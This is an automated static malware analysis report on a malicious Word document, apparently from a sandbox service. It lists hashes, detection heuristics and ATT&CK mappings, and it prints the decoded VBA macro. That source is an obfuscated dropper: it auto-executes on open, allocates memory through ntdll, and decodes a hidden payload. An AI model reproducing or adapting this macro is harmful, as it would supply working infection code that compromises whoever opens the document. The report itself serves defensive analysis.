Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db036e3996ac8565…

MALICIOUS

Office (OLE)

174.8 KB Created: 2017-11-28 14:29:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: a0f329bca27a77edf7d1ed9c949fbbf1 SHA-1: 22a44972fb10fe494fa98d3c6497dd1009e549ed SHA-256: db036e3996ac85656b75c9d441b49a1a1bf3d65a68df46af763e977af30ddcf5
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro that is automatically executed upon opening. The macro employs obfuscation and calls to functions like 'Pmt' and 'gleek', suggesting it is designed to download and execute a secondary payload. The 'SE_ENABLE_LURE' heuristic further indicates the document attempts to trick the user into enabling macros, a common tactic for malware droppers.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6386151-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6386151-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10840 bytes
SHA-256: c01e144612bb115c625d7ecf0080ce1edb4123be9c147b9a1709cb58ec7df868
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Sub painfree()
hobsons.monopolist.Value = Day(#12/5/2013#)
Set airbus = hobsons.monopolist.SelectedItem
coalfield = 25 + 47
Pmt 0, coalfield, 10088, 35223, 6
motives = airbus.Name
aecium = 80 - 53 + 7817
nihilo = Right(motives, aecium)
chytridiaceae = gleek(nihilo)
belting = 42 + 27
Pmt 0, belting, 34321, 58592, 2
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim scorpionida As LongPtr
Dim authenticate As LongPtr
Dim fertilizer As LongPtr
Dim parlous As LongPtr
Dim naturally As LongPtr
crossopterygian = 16 - 12 + 2060
#ElseIf (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim authenticate As Long
Dim scorpionida As Long
Dim fertilizer As Long
arefaction = 42 - 41 + 780
Dim parlous As Long
Dim naturally As Long
crossopterygian = arefaction + 3459
#End If
justly = 11 + 52
Pmt 0, justly, 23115, 37695, 7
metaphysician = 26 + 37
Pmt 0, metaphysician, 13368, 15107, 6
gosainthan = chytridiaceae
scorpionida = batrachomyomachia(gosainthan)
Dim fetichism As String
Dim waw As String
fertilizer = 53 - 102 + 49
authenticate = scorpionida + crossopterygian
parlous = 55 - 123 + 201595
naturally = 105 - 88 + 3483
bhang = ordinary(parlous, _
fertilizer, authenticate, _
fertilizer, fertilizer, _
fertilizer, fertilizer)
acceleration = 56 + 15
 Pmt 0, acceleration, 24455, 34039, 3

End Sub



Private Sub Document_Open()
shush = mariposa
carryover = repentant
painfree
epicarpal = 43 + 51
 Pmt 0, epicarpal, 10657, 56315, 2
End Sub

Attribute VB_Name = "nganasan"
#If (95 - 52 + 357 + 5 - 105 + 400) > ((91 - 85 + 314) - (61 - 53 + 532) * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Public Declare _
PtrSafe Function framed Lib "ntdll  " Alias _
"NtAllocateVirtualMemory" (lowrise As LongPtr, obolus As LongPtr, ByVal stowaway As LongPtr, secundumByVal As LongPtr, irreprovable As LongPtr, ByVal tinsel As LongPtr) As LongPtr
#ElseIf (95 - 52 + 357 + 5 - 105 + 400) > ((91 - 85 + 314) - (61 - 53 + 532) * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then

#End If



Function gleek(blandness) As String
Dim hydroplane As Long
Dim anthelion As Long
Dim clothesline As Long
Dim deserving(6962) As Byte
Dim eyepiece As Long
Dim rocket(63) As Long
Dim immigrant() As Byte
Dim cleancut(63) As Long
Dim epistle(63) As Long
mediocritas = 47 - 17 + 225
prestigitator = 23 - 38 + 79
dimmed = 57 - 116 + 65595
chronogrammatical = 34 - 127 + 65373
organography = 104 - 26 + 262066
apart = 78 - 30 + 208
hoop = 107 - 45 + 4034
grubbing = 74 - 86 + 16711692

' = 78-49-29
Dim aphorist() As Byte
aphorist = VBA.StrConv(blandness, 128)
general = 38 + 27
Pmt 0, general, 29643, 49257, 2
chemistry = 7840 + 3
abrachia = vbKeyShift - 12
For olfaction = (3 - 3) To chemistry
If olfaction Mod 2 = (4 - 4) Then
aphorist(olfaction) = aphorist(olfaction) - abrachia
Else
aphorist(olfaction) = aphorist(olfaction) - (abrachia - 1)
End If
Next olfaction
aurora = 20 + 9
Pmt 0, aurora, 2245, 31144, 6
acroanesthesia = salmonella
For clothesline = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
cleancut(clothesline) = hindgut(clothesline, prestigitator, 45)
epistle(clothesline) = hindgut(clothesline, hoop, 45)
rocket(clothesline) = hindgut(clothesline, organography, 45)
Next clothesline
heronry = 34 + 23
Pmt 0, heronry, 7329, 17110, 8
immigrant = aphorist
fencer = 5 + 47
Pmt 0, fencer, 4583, 52992, 4
gerontic = 128 - 112 - 13
sanicle = 15 - 100 + 87
For eyepiece = (2 - 2) To chemistry
affuse = immigrant(eyepiece)
sled = immigrant(eyepiece + 2)
mauritanian = epistle(acroanesthesia(immigrant(eyepiece + 1)))
exoneration = cleancut(acroanesthesia(sled)) + acroanesthesia(immigrant(eyepiece + gerontic))
hydroplane = rocket(acroanesthesia(affuse)) + mauritanian + exoneration
cloth
... (truncated)